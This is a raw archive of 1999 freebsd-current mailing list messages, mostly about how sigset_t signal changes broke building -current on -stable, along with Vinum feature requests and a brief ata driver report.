X-Mailer: Mutt 1.0pre3i
Content-type: text/plain; charset=us-ascii
References: <gurney_j@efn.org> <199910010003.RAA09834@salsa.gv.tsc.tdk.com>
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG

On Fri, Oct 01, 1999, you wrote:
>On Sep 30,  4:14pm, John-Mark Gurney wrote:
>} Subject: Re: HEADS UP: sigset_t changes committed
>} > 
>} > In this particular case, the only thing cross-compilation would buy us
>} > is the ability to build (but not install) 4.x binaries on a machine
>} > running 3.x.  It sounds like some folks would be satisfied just having
>} > that.
>} 
>} I'm sorry, this is easy to fix... have a set of tools you copy to /ibin
>} that are used for the install (all staticly compiled binaries hopefully)
>} and run the install world out of /ibin...  maybe include some binaries
>} for system recovery to make sure...
>
>... but as soon as you run the stuff in /ibin to install the new userland,
>you won't even be able to run a shell script, because the newly installed
>/bin/sh will be using the new signal syscalls.

No, all it means is that the tools to install the new userland need
to have special shellscripts with '#!/ibin/sh' or similar, or be
explicitly invoked (eg /ibin/sh foo).  I don't think this is a real
problem.

Peter
-- 
Peter Jeremy (VK2PJ)                    peter.jeremy@alcatel.com.au
Alcatel Australia Limited
41 Mandible St                          Phone: +61 2 9690 5019
ALEXANDRIA  NSW  2015                   Fax:   +61 2 9690 5982


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Thu Sep 30 17:21:54 1999
Delivered-To: freebsd-current@freebsd.org
Received: from adsl-63-195-54-213.dsl.snfc21.pacbell.net (adsl-63-195-54-213.dsl.snfc21.pacbell.net [63.195.54.213])
	by hub.freebsd.org (Postfix) with ESMTP id C59F914D4E
	for <current@FreeBSD.ORG>; Thu, 30 Sep 1999 17:21:52 -0700 (PDT)
	(envelope-from gurney_j@efn.org)
Received: (from jmg@localhost)
          by adsl-63-195-54-213.dsl.snfc21.pacbell.net (8.9.1/8.8.7) id RAA16065;
          Thu, 30 Sep 1999 17:21:51 -0700 (PDT)
Message-ID: <19990930172151.26268@hydrogen.fircrest.net>
Date: Thu, 30 Sep 1999 17:21:51 -0700
From: John-Mark Gurney <gurney_j@efn.org>
To: Don Lewis <Don.Lewis@tsc.tdk.com>
Cc: Marcel Moolenaar <marcel@scc.nl>,
	Peter Wemm <peter@netplex.com.au>, current@FreeBSD.ORG
Subject: Re: HEADS UP: sigset_t changes committed
References: <gurney_j@efn.org> <199910010003.RAA09834@salsa.gv.tsc.tdk.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Mailer: Mutt 0.69
In-Reply-To: <199910010003.RAA09834@salsa.gv.tsc.tdk.com>; from Don Lewis on Thu, Sep 30, 1999 at 05:03:38PM -0700
Reply-To: John-Mark Gurney <gurney_j@resnet.uoregon.edu>
Organization: Cu Networking
X-Operating-System: FreeBSD 3.0-RELEASE i386
X-PGP-Fingerprint: B7 EC EF F8 AE ED A7 31  96 7A 22 B3 D8 56 36 F4
X-Files: The truth is out there
X-URL: http://resnet.uoregon.edu/~gurney_j/
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG

Don Lewis scribbled this message on Sep 30:
> On Sep 30,  4:14pm, John-Mark Gurney wrote:
> } Subject: Re: HEADS UP: sigset_t changes committed
> } > 
> } > In this particular case, the only thing cross-compilation would buy us
> } > is the ability to build (but not install) 4.x binaries on a machine
> } > running 3.x.  It sounds like some folks would be satisfied just having
> } > that.
> } 
> } I'm sorry, this is easy to fix... have a set of tools you copy to /ibin
> } that are used for the install (all staticly compiled binaries hopefully)
> } and run the install world out of /ibin...  maybe include some binaries
> } for system recovery to make sure...
> 
> ... but as soon as you run the stuff in /ibin to install the new userland,
> you won't even be able to run a shell script, because the newly installed
> /bin/sh will be using the new signal syscalls.  The install process will
> have to include installing a new kernel and will have to be followed by
> an immediate reboot.

why are you trying to run a shell script instead of rebooting your
computer after the installworld?  you need to install a kernel+userland
as a COMPLETE set... and the kernel needs to be build w/ the tools that
were used to make all...  it's that simple..

the hard part is making the tools work/build properly...

-- 
  John-Mark Gurney				Voice: +1 408 975 9651
  Cu Networking					  

  "The soul contains in itself the event that shall presently befall it.
  The event is only the actualizing of its thought." -- Ralph Waldo Emerson


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Thu Sep 30 17:32:37 1999
Delivered-To: freebsd-current@freebsd.org
Received: from adsl-63-195-54-213.dsl.snfc21.pacbell.net (adsl-63-195-54-213.dsl.snfc21.pacbell.net [63.195.54.213])
	by hub.freebsd.org (Postfix) with ESMTP id EE48714BD0
	for <current@FreeBSD.ORG>; Thu, 30 Sep 1999 17:32:34 -0700 (PDT)
	(envelope-from gurney_j@efn.org)
Received: (from jmg@localhost)
          by adsl-63-195-54-213.dsl.snfc21.pacbell.net (8.9.1/8.8.7) id RAA16199;
          Thu, 30 Sep 1999 17:32:29 -0700 (PDT)
Message-ID: <19990930173229.61526@hydrogen.fircrest.net>
Date: Thu, 30 Sep 1999 17:32:29 -0700
From: John-Mark Gurney <gurney_j@efn.org>
To: Nate Williams <nate@mt.sri.com>
Cc: Marcel Moolenaar <marcel@scc.nl>,
	Peter Wemm <peter@netplex.com.au>, current@FreeBSD.ORG
Subject: Re: HEADS UP: sigset_t changes committed
References: <19990930003214.58194@hydrogen.fircrest.net> <19990930195614.2834A1CA7@overcee.netplex.com.au> <19990930135119.29632@hydrogen.fircrest.net> <37F3D522.2A4C79C2@scc.nl> <19990930163945.56976@hydrogen.fircrest.net> <199909302344.RAA01090@mt.sri.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Mailer: Mutt 0.69
In-Reply-To: <199909302344.RAA01090@mt.sri.com>; from Nate Williams on Thu, Sep 30, 1999 at 05:44:25PM -0600
Reply-To: John-Mark Gurney <gurney_j@resnet.uoregon.edu>
Organization: Cu Networking
X-Operating-System: FreeBSD 3.0-RELEASE i386
X-PGP-Fingerprint: B7 EC EF F8 AE ED A7 31  96 7A 22 B3 D8 56 36 F4
X-Files: The truth is out there
X-URL: http://resnet.uoregon.edu/~gurney_j/
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG

Nate Williams scribbled this message on Sep 30:
> > you don't under stand, we are NOT talking about upgrades, we are talking
> > about how to make a buildable system on -stable... 
> 
> There are essentially the same problem.  In order to do an upgrade, you
> have to be able to build on -stable. :)

yes, they are the "same problem", but they are viewed differently.. w/
an upgrade, you can requre ANYTHING to happen, this includes having to
install and reboot w/ 10 different kernels before you reach your
destination...  which makes the last part impossible...

> > ===> libgcc
> > echo '#include <i386/xm-i386.h>' > config.h
> > echo '#include <xm-freebsd.h>' >> config.h
> > echo '#include "i386/xm-i386.h"' > tconfig.h
> > echo '#include "i386/i386.h"' > tm.h
> > echo '#include "i386/att.h"' >> tm.h
> > echo '#include "i386/freebsd.h"' >> tm.h
> > echo '#include "i386/perform.h"' >> tm.h
> > cc -c -nostdinc -O -pipe -pipe -O -pipe -O -I/a/home/johng/FreeBSD-checkout/40current/src/gnu/lib/libgcc/../../../contrib/egcs/gcc/config -I/a/home/johng/FreeBSD-checkout/40current/src/gnu/lib/libgcc/../../../contrib/egcs/gcc -I. -fexceptions -DIN_GCC -I/usr/obj/a/home/johng/FreeBSD-checkout/40current/src/tmp/usr/include -DL_mulsi3 -o _mulsi3.o /a/home/johng/FreeBSD-checkout/40current/src/gnu/lib/libgcc/../../../contrib/egcs/gcc/libgcc1.c
> > cc1: Invalid option `-fexceptions'
> 
> This is unrelated to the signal code.  Why are you jumping on Marcel for
> this?

this is what preceeded the above snip it in my original message that Nate
deleted:
> > and so you know, (this is unrelated to the -current
> > tools running on -stable), you can't do a buildworld w/ -DNOTOOLS and
> > have it succeed:

he suggested that I try a make buildworld -DNOTOOLS to see if that would
work, I was simply reporting that it failed to work...  notice that I said:
"this is unrelated to the -current tools running on -stable" part...

> In any case, I believe there is work in progress as well as interest in
> making *something* work.  Let's all quit yelling at one another and
> start working towards a solution, instead of pointing fingers and
> screaming 'he broke it and won't fix it'. :)

P.S. It is really hard for me to not make personal attacks against you
after all of the above and completely ignoring the rest of my message.
Simply pointing out behavior problems is not going to solve anything.
So, why don't you read the last part of my message that you felt like
ignoring, and provide input?  The last part included a possible solution
to the problem.

since you seem to have completely ignored the last part of my message,
here it is again:

ok, the problem is:
a) -current tools are built w/ -current libc and friends
b) -current libc and friends are NOW (they used to not be this way) unable
        to run on anything but -current because of the signal changes..
c) the problem is that the signal changes do not provide a way to
        continue to function in the case that the kernel doesn't support
        the new syscalls...

we have a catch-22 in the build environment..  the tools need a -current
libc and friends, and libc and friends needs a -current kernel, and a
-current kernel needs the tools to be built...

the solution is to make libc and friends be able to operate on a
non-current system by wrapping the signal stuff in #ifdef's that will
provide fall back support when requested and use the o* syscalls in
this case...

what we may want to do, is to leave the old signal code in, and simply
add in the ability to "select" what signal code we want to include..
and make it a general system so that it just doesn't apply to the signal
system...

this way we can say, we are building under NetBSD, and they don't have
getcwd as a syscall so we need to compile getcwd as a function using
this code, instead of using FreeBSD's syscall...

and as Bruce will point out... the fact that -current's libc even builds
on -stable and has run is completely by chance...

our build of libc and tools should detect the system that we are on (or
be told the type of system) and react accordingly...  before this time
we have been lucky that it hasn't been needed, but now we need it...

-- 
  John-Mark Gurney				Voice: +1 408 975 9651
  Cu Networking					  

  "The soul contains in itself the event that shall presently befall it.
  The event is only the actualizing of its thought." -- Ralph Waldo Emerson


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Thu Sep 30 17:42:30 1999
Delivered-To: freebsd-current@freebsd.org
Received: from peak.mountin.net (peak.mountin.net [207.227.119.2])
	by hub.freebsd.org (Postfix) with ESMTP id 77CFF14C94
	for <freebsd-current@FreeBSD.ORG>; Thu, 30 Sep 1999 17:42:27 -0700 (PDT)
	(envelope-from jeff-ml@mountin.net)
Received: (from daemon@localhost)
	by peak.mountin.net (8.9.1/8.9.1) id TAA27395;
	Thu, 30 Sep 1999 19:42:02 -0500 (CDT)
	(envelope-from jeff-ml@mountin.net)
Received: from dial-178.tnt1.rac.cyberlynk.net(209.224.182.178) by peak.mountin.net via smap (V1.3)
	id sma027393; Thu Sep 30 19:41:45 1999
Message-Id: <3.0.3.32.19990930193723.00936df0@207.227.119.2>
X-Sender: jeff-ml@207.227.119.2
X-Mailer: QUALCOMM Windows Eudora Pro Version 3.0.3 (32)
Date: Thu, 30 Sep 1999 19:37:23 -0500
To: peter.jeremy@alcatel.com.au
From: "Jeffrey J. Mountin" <jeff-ml@mountin.net>
Subject: Re: System crash on "vinum start"
Cc: freebsd-current@FreeBSD.ORG
In-Reply-To: <99Oct1.094141est.40344@border.alcanet.com.au>
References: <3.0.3.32.19990930182053.0219b760@207.227.119.2>
 <19990928084130.L46202@freebie.lemis.com>
 <19990925104024.B54407@freebie.lemis.com>
 <199909271705.NAA43302@concours.pc.sas.com>
 <3.0.3.32.19990927153730.0204c420@207.227.119.2>
 <19990928084130.L46202@freebie.lemis.com>
 <99Sep28.125643est.40332@border.alcanet.com.au>
 <3.0.3.32.19990930182053.0219b760@207.227.119.2>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG

At 09:44 AM 10/1/99 +1000, Peter Jeremy wrote:
>I was thinking of some `production' code (written by a sister company)
>that I used to provide customer support for.  It would regularly core
>dump (but was automatically restarted).  After a few years they did
>manage to fix the core dump, but that exposed a memory leak which they
>never did manage to fix (fairly embarrasing in a supposedly
>permanently running process).

Eeew!  Can see your point.  Tracking down a sig11 problem in a custom
program right now.  Seems to be OS related, but think a bit of work around
the problem code is in order first.

Oh, the pain of learning.  My first project fixing another's code.  Or at
least trying.  At least it doesn't harm functionality, so has been bugging
me for a while and decided enough is enough.

>I gather that root support is the most-asked-for feature in Vinum (when
>I asked Greg about it some weeks ago, I got about as far as `when will
>Vinum' before he answered me).  As long as recovery works, making it
>nicer to use is (should be) a lower priority.

This was more directed torwards Greg, but would guess that auto-recovery
would be fairly requested.  Growing plexes (any type) would be #1 on my
list, auto-recovery #2, and root #3.

Best not to bother him about desired features.  Would be nice for a work
status/todo list, but then *that* has to be updated.  And yet might reduce
questions of the "when will" type.  Rather like the problem page he added.

Otherwise should just stop here now.

<duck n cover>
"Is it done yet?  Is it done yet?"  8-0


Jeff Mountin - jeff@mountin.net
Systems/Network Administrator
FreeBSD - the power to serve
'86 Yamaha MaxiumX (not FBSD powered)



To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Thu Sep 30 17:49:33 1999
Delivered-To: freebsd-current@freebsd.org
Received: from freebie.lemis.com (freebie.lemis.com [192.109.197.137])
	by hub.freebsd.org (Postfix) with ESMTP id 6E9CB14C1F
	for <freebsd-current@FreeBSD.ORG>; Thu, 30 Sep 1999 17:49:26 -0700 (PDT)
	(envelope-from grog@freebie.lemis.com)
Received: (from grog@localhost)
	by freebie.lemis.com (8.9.3/8.9.0) id KAA24572;
	Fri, 1 Oct 1999 10:19:16 +0930 (CST)
Date: Fri, 1 Oct 1999 10:19:16 +0930
From: Greg Lehey <grog@lemis.com>
To: "Jeffrey J. Mountin" <jeff-ml@mountin.net>
Cc: peter.jeremy@alcatel.com.au, freebsd-current@FreeBSD.ORG
Subject: Re: System crash on "vinum start"
Message-ID: <19991001101916.E496@freebie.lemis.com>
References: <19990928084130.L46202@freebie.lemis.com> <19990925104024.B54407@freebie.lemis.com> <199909271705.NAA43302@concours.pc.sas.com> <3.0.3.32.19990927153730.0204c420@207.227.119.2> <19990928084130.L46202@freebie.lemis.com> <99Sep28.125643est.40332@border.alcanet.com.au> <3.0.3.32.19990930182053.0219b760@207.227.119.2>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Mailer: Mutt 0.95.4i
In-Reply-To: <3.0.3.32.19990930182053.0219b760@207.227.119.2>; from Jeffrey J. Mountin on Thu, Sep 30, 1999 at 06:20:53PM -0500
WWW-Home-Page: http://www.lemis.com/~grog
X-PGP-Fingerprint: 6B 7B C3 8C 61 CD 54 AF  13 24 52 F8 6D A4 95 EF
Organization: LEMIS, PO Box 460, Echunga SA 5153, Australia
Phone: +61-8-8388-8286
Fax: +61-8-8388-8725
Mobile: +61-41-739-7062
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG

On Thursday, 30 September 1999 at 18:20:53 -0500, Jeffrey J. Mountin wrote:
> At 12:59 PM 9/28/99 +1000, Peter Jeremy wrote:
>> On Tue, Sep 28, 1999 at 09:11:31AM +1000, Greg Lehey wrote:
>>>  Good software shouldn't panic.
>>
>> I wish _I_ could convince some people of this :-(.
>
> It can be difficult to consider what a user can do and tends to bloat the
> code a bit.  Frustrates my instructors, since it very much a habit when I
> script and carried over to C. 8-)
>
>>> It's all in the pipeline.  But first we need Vinum on the root file
>>> system.
>> And whilst we're discussing wish-lists...  After several fights with
>> Digital/Compaq's Logical Storage Manager, it would be _very_ nice if
>> recovery could be done at the physical disk level (ie, "I've just
>> replaced da3 - autorecover all vinum volumes that used that disk"),
>> rather than having to recover each logical volume.  It would also be
>> nice if you could recover mirrored root/swap without needing to
>> unmirror and re-mirror them.
>
> Haven't looked at the code for it, but "hotspare" appeared for the drive
> configuration recently.  Bit a tease really.
>
> No offense to Greg of course. ;)

This is -CURRENT.  Expect work in progress.  From the commit log:

> replaceobject: Add preliminary code.  This is not yet complete.
>
> Add keyword 'hotspare'.

> Speaking of, why is (would) root filesystem support necessary for non
> root/swap automagical recovery.  Or will this be part of other
> to-be-implemented functionalities.

I'm not sure I understand the question.  But if I parse it correctly,
the answer is "no".

Greg
--
See complete headers for address, home page and phone numbers
finger grog@lemis.com for PGP public key


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Thu Sep 30 18: 2:17 1999
Delivered-To: freebsd-current@freebsd.org
Received: from ns.mt.sri.com (ns.mt.sri.com [206.127.79.91])
	by hub.freebsd.org (Postfix) with ESMTP id CAA6B14CBA
	for <current@FreeBSD.ORG>; Thu, 30 Sep 1999 18:02:14 -0700 (PDT)
	(envelope-from nate@mt.sri.com)
Received: from mt.sri.com (rocky.mt.sri.com [206.127.76.100])
	by ns.mt.sri.com (8.9.3/8.9.3) with SMTP id SAA10634;
	Thu, 30 Sep 1999 18:59:28 -0600 (MDT)
	(envelope-from nate@rocky.mt.sri.com)
Received: by mt.sri.com (SMI-8.6/SMI-SVR4)
	id SAA01387; Thu, 30 Sep 1999 18:59:26 -0600
Date: Thu, 30 Sep 1999 18:59:26 -0600
Message-Id: <199910010059.SAA01387@mt.sri.com>
From: Nate Williams <nate@mt.sri.com>
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
To: John-Mark Gurney <gurney_j@resnet.uoregon.edu>
Cc: Nate Williams <nate@mt.sri.com>,
	Marcel Moolenaar <marcel@scc.nl>, Peter Wemm <peter@netplex.com.au>,
	current@FreeBSD.ORG
Subject: Re: HEADS UP: sigset_t changes committed
In-Reply-To: <19990930173229.61526@hydrogen.fircrest.net>
References: <19990930003214.58194@hydrogen.fircrest.net>
	<19990930195614.2834A1CA7@overcee.netplex.com.au>
	<19990930135119.29632@hydrogen.fircrest.net>
	<37F3D522.2A4C79C2@scc.nl>
	<19990930163945.56976@hydrogen.fircrest.net>
	<199909302344.RAA01090@mt.sri.com>
	<19990930173229.61526@hydrogen.fircrest.net>
X-Mailer: VM 6.34 under 19.16 "Lille" XEmacs Lucid
Reply-To: nate@mt.sri.com (Nate Williams)
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG

> P.S. It is really hard for me to not make personal attacks against you
> after all of the above and completely ignoring the rest of my message.

No, I didn't.  My statement was that your 'confrontational' style of
email wasn't making things any better.

Mellow it out, and instead of attacking first (thus putting folks on the
defense) and then providing content, skip the first step.

This is the same as you've done with the response to me, attack first
and ask questions later.  :(




Nate


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Thu Sep 30 18: 7:21 1999
Delivered-To: freebsd-current@freebsd.org
Received: from peak.mountin.net (peak.mountin.net [207.227.119.2])
	by hub.freebsd.org (Postfix) with ESMTP id 11AEE14CBA
	for <freebsd-current@FreeBSD.ORG>; Thu, 30 Sep 1999 18:07:18 -0700 (PDT)
	(envelope-from jeff-ml@mountin.net)
Received: (from daemon@localhost)
	by peak.mountin.net (8.9.1/8.9.1) id UAA27483;
	Thu, 30 Sep 1999 20:07:05 -0500 (CDT)
	(envelope-from jeff-ml@mountin.net)
Received: from dial-178.tnt1.rac.cyberlynk.net(209.224.182.178) by peak.mountin.net via smap (V1.3)
	id sma027479; Thu Sep 30 20:06:48 1999
Message-Id: <3.0.3.32.19990930200225.02135220@207.227.119.2>
X-Sender: jeff-ml@207.227.119.2
X-Mailer: QUALCOMM Windows Eudora Pro Version 3.0.3 (32)
Date: Thu, 30 Sep 1999 20:02:25 -0500
To: Greg Lehey <grog@lemis.com>
From: "Jeffrey J. Mountin" <jeff-ml@mountin.net>
Subject: Re: System crash on "vinum start"
Cc: peter.jeremy@alcatel.com.au, freebsd-current@FreeBSD.ORG
In-Reply-To: <19991001101916.E496@freebie.lemis.com>
References: <3.0.3.32.19990930182053.0219b760@207.227.119.2>
 <19990928084130.L46202@freebie.lemis.com>
 <19990925104024.B54407@freebie.lemis.com>
 <199909271705.NAA43302@concours.pc.sas.com>
 <3.0.3.32.19990927153730.0204c420@207.227.119.2>
 <19990928084130.L46202@freebie.lemis.com>
 <99Sep28.125643est.40332@border.alcanet.com.au>
 <3.0.3.32.19990930182053.0219b760@207.227.119.2>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG

At 10:19 AM 10/1/99 +0930, Greg Lehey wrote:
>This is -CURRENT.  Expect work in progress.  From the commit log:
>
>> replaceobject: Add preliminary code.  This is not yet complete.
>>
>> Add keyword 'hotspare'.

Yessir.  Read -current, track commits, eat my veggies, get a bit of sun
every other week, but am not running -current (for now).  Willing to test
before MFC, however.

>> Speaking of, why is (would) root filesystem support necessary for non
>> root/swap automagical recovery.  Or will this be part of other
>> to-be-implemented functionalities.
>
>I'm not sure I understand the question.  But if I parse it correctly,
>the answer is "no".

If you parsed as "auto-recovery || root support", then "Yes, great!"

Thanks,


Jeff Mountin - jeff@mountin.net
Systems/Network Administrator
FreeBSD - the power to serve
'86 Yamaha MaxiumX (not FBSD powered)



To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Thu Sep 30 18:22: 8 1999
Delivered-To: freebsd-current@freebsd.org
Received: from gndrsh.dnsmgr.net (GndRsh.dnsmgr.net [198.145.92.4])
	by hub.freebsd.org (Postfix) with ESMTP
	id E9C5D14E20; Thu, 30 Sep 1999 18:21:58 -0700 (PDT)
	(envelope-from freebsd@gndrsh.dnsmgr.net)
Received: (from freebsd@localhost)
	by gndrsh.dnsmgr.net (8.9.3/8.9.3) id SAA24867;
	Thu, 30 Sep 1999 18:21:50 -0700 (PDT)
	(envelope-from freebsd)
From: "Rodney W. Grimes" <freebsd@gndrsh.dnsmgr.net>
Message-Id: <199910010121.SAA24867@gndrsh.dnsmgr.net>
Subject: Re: new sigset_t and upgrading: a proposal
In-Reply-To: <19990930154834.R31903@relay.nuxi.com> from "David O'Brien" at "Sep 30, 1999 03:48:34 pm"
To: obrien@FreeBSD.ORG
Date: Thu, 30 Sep 1999 18:21:49 -0700 (PDT)
Cc: marcel@scc.nl (Marcel Moolenaar), current@FreeBSD.ORG
X-Mailer: ELM [version 2.4ME+ PL54 (25)]
MIME-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG

> On Thu, Sep 30, 1999 at 06:25:56AM -0700, Rodney W. Grimes wrote:
> > > Cons
> > > ----
> > > o  Upgrading from 3.3 and before to -current is only possible after
> > >    an upgrade to post 3.3.
> > 
> > Not good.
> 
> We recommend that 2.2.x people upgrade to the latest 2.2-STABLE offering
> before trying to jump to 3.x via `make {upgrade,world,aout-to-elf}.  So
> we have precidence for this.  

And failure to do this became a FAQ, so it's still ``not good''.

I think Marcel is on a good track here, he is getting a real grasp of
the problem and will probably solve some long standing issues if we
let him run with it... giving input when needed and support his efforts
by testing and/or contributing area of expertise information.

-- 
Rod Grimes - KD7CAX - (RWG25)                    rgrimes@gndrsh.dnsmgr.net


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Thu Sep 30 18:29:45 1999
Delivered-To: freebsd-current@freebsd.org
Received: from freebie.lemis.com (freebie.lemis.com [192.109.197.137])
	by hub.freebsd.org (Postfix) with ESMTP id D1ABA14E8B
	for <freebsd-current@FreeBSD.ORG>; Thu, 30 Sep 1999 18:29:10 -0700 (PDT)
	(envelope-from grog@freebie.lemis.com)
Received: (from grog@localhost)
	by freebie.lemis.com (8.9.3/8.9.0) id KAA24735;
	Fri, 1 Oct 1999 10:57:34 +0930 (CST)
Date: Fri, 1 Oct 1999 10:57:34 +0930
From: Greg Lehey <grog@lemis.com>
To: "Jeffrey J. Mountin" <jeff-ml@mountin.net>
Cc: peter.jeremy@alcatel.com.au, freebsd-current@FreeBSD.ORG
Subject: Re: System crash on "vinum start"
Message-ID: <19991001105734.F496@freebie.lemis.com>
References: <3.0.3.32.19990930182053.0219b760@207.227.119.2> <19990928084130.L46202@freebie.lemis.com> <19990925104024.B54407@freebie.lemis.com> <199909271705.NAA43302@concours.pc.sas.com> <3.0.3.32.19990927153730.0204c420@207.227.119.2> <19990928084130.L46202@freebie.lemis.com> <99Sep28.125643est.40332@border.alcanet.com.au> <3.0.3.32.19990930182053.0219b760@207.227.119.2> <99Oct1.094141est.40344@border.alcanet.com.au> <3.0.3.32.19990930193723.00936df0@207.227.119.2>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Mailer: Mutt 0.95.4i
In-Reply-To: <3.0.3.32.19990930193723.00936df0@207.227.119.2>; from Jeffrey J. Mountin on Thu, Sep 30, 1999 at 07:37:23PM -0500
WWW-Home-Page: http://www.lemis.com/~grog
X-PGP-Fingerprint: 6B 7B C3 8C 61 CD 54 AF  13 24 52 F8 6D A4 95 EF
Organization: LEMIS, PO Box 460, Echunga SA 5153, Australia
Phone: +61-8-8388-8286
Fax: +61-8-8388-8725
Mobile: +61-41-739-7062
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG

On Thursday, 30 September 1999 at 19:37:23 -0500, Jeffrey J. Mountin wrote:
> At 09:44 AM 10/1/99 +1000, Peter Jeremy wrote:
>> I was thinking of some `production' code (written by a sister company)
>> that I used to provide customer support for.  It would regularly core
>> dump (but was automatically restarted).  After a few years they did
>> manage to fix the core dump, but that exposed a memory leak which they
>> never did manage to fix (fairly embarrasing in a supposedly
>> permanently running process).
>
> Eeew!  Can see your point.  Tracking down a sig11 problem in a custom
> program right now.  Seems to be OS related, but think a bit of work around
> the problem code is in order first.
>
> Oh, the pain of learning.  My first project fixing another's code.  Or at
> least trying.  At least it doesn't harm functionality, so has been bugging
> me for a while and decided enough is enough.
>
>> I gather that root support is the most-asked-for feature in Vinum (when
>> I asked Greg about it some weeks ago, I got about as far as `when will
>> Vinum' before he answered me).  As long as recovery works, making it
>> nicer to use is (should be) a lower priority.
>
> This was more directed torwards Greg, but would guess that auto-recovery
> would be fairly requested.  Growing plexes (any type) would be #1 on my
> list, auto-recovery #2, and root #3.

You're not typical.  But you *can* grow concatenated plexes.  You just
can't expand UFS to use the space.  That's not a Vinum issue, but
somebody's working on it.

> Best not to bother him about desired features.  Would be nice for a
> work status/todo list, but then *that* has to be updated.  And yet
> might reduce questions of the "when will" type.  Rather like the
> problem page he added.

That's a good idea, I suppose.  I'll do that.  Done:
http://www.lemis.com/vinum/wishlist.html.

Greg
--
See complete headers for address, home page and phone numbers
finger grog@lemis.com for PGP public key


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Thu Sep 30 18:51:27 1999
Delivered-To: freebsd-current@freebsd.org
Received: from majordomo2.umd.edu (majordomo2.umd.edu [128.8.10.7])
	by hub.freebsd.org (Postfix) with ESMTP id A60A915021
	for <freebsd-current@freebsd.org>; Thu, 30 Sep 1999 18:51:24 -0700 (PDT)
	(envelope-from culverk@wam.umd.edu)
Received: from rac8.wam.umd.edu (root@rac8.wam.umd.edu [128.8.10.148])
	by majordomo2.umd.edu (8.9.3/8.9.3) with ESMTP id VAA17107
	for <freebsd-current@freebsd.org>; Thu, 30 Sep 1999 21:51:20 -0400 (EDT)
Received: from rac8.wam.umd.edu (sendmail@localhost [127.0.0.1])
	by rac8.wam.umd.edu (8.9.3/8.9.3) with SMTP id VAA19971
	for <freebsd-current@freebsd.org>; Thu, 30 Sep 1999 21:51:23 -0400 (EDT)
Received: from localhost (culverk@localhost)
	by rac8.wam.umd.edu (8.9.3/8.9.3) with ESMTP id VAA19967
	for <freebsd-current@freebsd.org>; Thu, 30 Sep 1999 21:51:22 -0400 (EDT)
X-Authentication-Warning: rac8.wam.umd.edu: culverk owned process doing -bs
Date: Thu, 30 Sep 1999 21:51:22 -0400 (EDT)
From: Kenneth Wayne Culver <culverk@wam.umd.edu>
To: freebsd-current@freebsd.org
Subject: ata driver (again)
Message-ID: <Pine.GSO.4.10.9909302150310.19755-100000@rac8.wam.umd.edu>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG

The ata driver seems to be having problems staying in contact with my
disks again. Let me know what details are needed to fix the problem, and
I'll get in touch with you.


=================================================================
| Kenneth Culver	      | FreeBSD: The best OS around.    |
| Unix Systems Administrator  | ICQ #: 24767726                 |
| and student at The          | AIM: AgRSkaterq	                |
| The University of Maryland, | Website: (Under Construction)   |
| College Park.		      | http://www.wam.umd.edu/~culverk/|
=================================================================



To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Thu Sep 30 18:59:25 1999
Delivered-To: freebsd-current@freebsd.org
Received: from peak.mountin.net (peak.mountin.net [207.227.119.2])
	by hub.freebsd.org (Postfix) with ESMTP id 3C5D414EA1
	for <freebsd-current@FreeBSD.ORG>; Thu, 30 Sep 1999 18:59:21 -0700 (PDT)
	(envelope-from jeff-ml@mountin.net)
Received: (from daemon@localhost)
	by peak.mountin.net (8.9.1/8.9.1) id UAA28166;
	Thu, 30 Sep 1999 20:59:11 -0500 (CDT)
	(envelope-from jeff-ml@mountin.net)
Received: from dial-168.tnt1.rac.cyberlynk.net(209.224.182.168) by peak.mountin.net via smap (V1.3)
	id sma028164; Thu Sep 30 20:59:03 1999
Message-Id: <3.0.3.32.19990930205439.021a58c0@207.227.119.2>
X-Sender: jeff-ml@207.227.119.2
X-Mailer: QUALCOMM Windows Eudora Pro Version 3.0.3 (32)
Date: Thu, 30 Sep 1999 20:54:39 -0500
To: Greg Lehey <grog@lemis.com>
